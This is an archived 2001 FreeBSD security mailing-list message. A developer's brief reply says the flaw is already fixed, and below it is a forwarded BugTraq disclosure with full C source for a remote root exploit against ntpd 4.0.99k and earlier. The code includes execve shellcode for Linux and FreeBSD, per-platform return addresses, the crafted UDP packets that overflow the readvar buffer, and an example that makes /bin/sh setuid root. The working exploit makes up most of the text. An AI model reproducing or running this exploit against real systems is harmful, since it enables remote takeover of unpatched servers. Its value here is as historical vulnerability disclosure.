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Date:      Thu, 05 Apr 2001 01:55:57 +0200
From:      Poul-Henning Kamp <phk@critter.freebsd.dk>
To:        Michael Bryan <fbsd-secure@ursine.com>
Cc:        freebsd-security@FreeBSD.ORG
Subject:   Re: Fwd: ntpd =< 4.0.99k remote buffer overflow 
Message-ID:  <52565.986428557@critter>
In-Reply-To: Your message of "Wed, 04 Apr 2001 16:46:43 PDT." <3ACBB263.2804E9C2@ursine.com> 

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This has already been fixed in FreeBSD current & stable an hour
ago or so.

Poul-Henning


In message <3ACBB263.2804E9C2@ursine.com>, Michael Bryan writes:
>
>Heads up.  This just came across BugTraq, will likely affect FreeBSD.
>As of 4.2-RELEASE, the ntpd that ships with FreeBSD is 4.0.99b.
>
>
>-------- Original Message --------
>From: Przemyslaw Frasunek <venglin@FREEBSD.LUBLIN.PL>
>Subject: ntpd =< 4.0.99k remote buffer overflow
>To: BUGTRAQ@SECURITYFOCUS.COM
>
>/* ntpd remote root exploit / babcia padlina ltd. <venglin@freebsd.lublin.pl> */
>
>/*
> * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable
> * to remote buffer overflow attack. It occurs when building response for
> * a query with large readvar argument. In almost all cases, ntpd is running
> * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver.
> *
> * Althought it's a normal buffer overflow, exploiting it is much harder.
> * Destination buffer is accidentally damaged, when attack is performed, so
> * shellcode can't be larger than approx. 70 bytes. This proof of concept code
> * uses small execve() shellcode to run /tmp/sh binary. Full remote attack
> * is possible.
> *
> * NTP is stateless UDP based protocol, so all malicious queries can be
> * spoofed.
> *
> * Example of use on generic RedHat 7.0 box:
> *
> * [venglin@cipsko venglin]$ cat dupa.c
> * main() { setreuid(0,0); system("chmod 4755 /bin/sh");  }
> * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
> * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
> * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
> * ntpdx v1.0 by venglin@freebsd.lublin.pl
> *
> * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
> *
> * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
> * [1] <- evil query (pkt = 512 | shell = 45)
> * [2] <- null query (pkt = 12)
> * Done.
> * /tmp/sh was spawned.
> * [venglin@cipsko venglin]$ ls -al /bin/bash
> * -rwsr-xr-x    1 root     root       512540 Aug 22  2000 /bin/bash
> *
> */
>
>#include <stdio.h>
>#include <stdlib.h>
>#include <stdarg.h>
>#include <string.h>
>#include <sys/types.h>
>#include <sys/socket.h>
>#include <netinet/in.h>
>#include <netdb.h>
>#include <unistd.h>
>#include <arpa/inet.h>
>
>#define NOP	0x90
>#define ADDRS	8
>#define PKTSIZ	512
>
>static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";
>
>/* generic execve() shellcodes */
>
>char lin_execve[] =
>        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
>        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
>        "\x80\xe8\xdc\xff\xff\xff/tmp/sh";
>
>char bsd_execve[] =
>        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
>        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
>        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
>        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
>
>struct platforms
>{
>	char *os;
>	char *version;
>	char *code;
>	long ret;
>	int align;
>	int shalign;
>	int port;
>};
>
>/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
> * *after* RET address. This values will vary from platform to platform.
> */
>
>struct platforms targ[] =
>{
>	{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
>		0xbfbff8bc, 200, 220, 0 },
>
>	{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
>		0xbfbff540, 200, 220, 0 },
>
>	{ "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
>		0xbffff777, 240, 160, 0 },
>
>	{ NULL, NULL, NULL, 0x0, 0, 0, 0 }
>};
>
>long getip(name)
>char *name;
>{
>	struct hostent *hp;
>	long ip;
>	extern int h_errno;
>
>	if ((ip = inet_addr(name)) < 0)
>	{
>		if (!(hp = gethostbyname(name)))
>		{
>			fprintf(stderr, "gethostbyname(): %s\n",
>				strerror(h_errno));
>			exit(1);
>		}
>		memcpy(&ip, (hp->h_addr), 4);
>	}
>
>	return ip;
>}
>
>int doquery(host, ret, shellcode, align, shalign)
>char *host, *shellcode;
>long ret;
>int align, shalign;
>{
>	/* tcpdump-based reverse engineering :)) */
>
>	char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
>		      0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
>		      0x74, 0x75, 0x6d, 0x3d };
>
>	char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
>		      0x00, 0x00, 0x00, 0x00 };
>
>	char buf[PKTSIZ], *p;
>	long *ap;
>	int i;
>
>	int sockfd;
>	struct sockaddr_in sa;
>
>	bzero(&sa, sizeof(sa));
>
>	sa.sin_family = AF_INET;
>	sa.sin_port = htons(123);
>	sa.sin_addr.s_addr = getip(host);
>
>	if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
>	{
>		perror("socket");
>		return -1;
>	}
>
>	if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
>	{
>		perror("connect");
>		close(sockfd);
>		return -1;
>	}
>
>	memset(buf, NOP, PKTSIZ);
>	memcpy(buf, q2, sizeof(q2));
>
>	p = buf + align;
>	ap = (unsigned long *)p;
>
>	for(i=0;i<ADDRS/4;i++)
>		*ap++ = ret;
>
>	p = (char *)ap;
>
>	memcpy(buf+shalign, shellcode, strlen(shellcode));
>
>	if((write(sockfd, buf, PKTSIZ)) < 0)
>	{
>		perror("write");
>		close(sockfd);
>		return -1;
>	}
>
>	fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,
>		strlen(shellcode));
>	fflush(stderr);
>
>        if ((write(sockfd, q3, sizeof(q3))) < 0)
>        {
>                perror("write");
>                close(sockfd);
>                return -1;
>        }
>
>	fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));
>	fflush(stderr);
>
>	close(sockfd);

>	return 0;
>}
>
>int main(argc, argv)
>int argc;
>char **argv;
>{
>	extern int optind, opterr;
>	extern char *optarg;
>	int ch, type, ofs, i;
>	long ret;
>
>	opterr = ofs = 0;
>	type = -1;
>
>	while ((ch = getopt(argc, argv, "t:o:")) != -1)
>		switch((char)ch)
>		{
>			case 't':
>				type = atoi(optarg);
>				break;
>
>			case 'o':
>				ofs = atoi(optarg);
>				break;
>
>			case '?':
>			default:
>				puts(usage);
>				exit(0);
>
>		}
>
>	argc -= optind;
>	argv += optind;
>
>	fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.pl\n\n");
>
>	if (type < 0)
>	{
>		fprintf(stderr, "Please select platform:\n");
>		for (i=0;targ[i].os;i++)
>		{
>			fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
>			targ[i].os, targ[i].version, (void *)targ[i].ret);
>		}
>
>		exit(0);
>	}
>
>	fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
>			targ[type].os, targ[type].version);
>
>	ret = targ[type].ret;
>	ret += ofs;
>
>	if (argc != 1)
>	{
>		puts(usage);
>		exit(0);
>	}
>
>	fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
>		(void *)ret, targ[type].align, targ[type].shalign);
>
>	if (doquery(*argv, ret, targ[type].code, targ[type].align,
>		targ[type].shalign) < 0)
>	{
>		fprintf(stderr, "Failed.\n");
>		exit(1);
>	}
>
>	fprintf(stderr, "Done.\n");
>
>	if (!targ[type].port)
>	{
>		fprintf(stderr, "/tmp/sh was spawned.\n");
>		exit(0);
>	}
>
>	exit(0);
>}
>
>--
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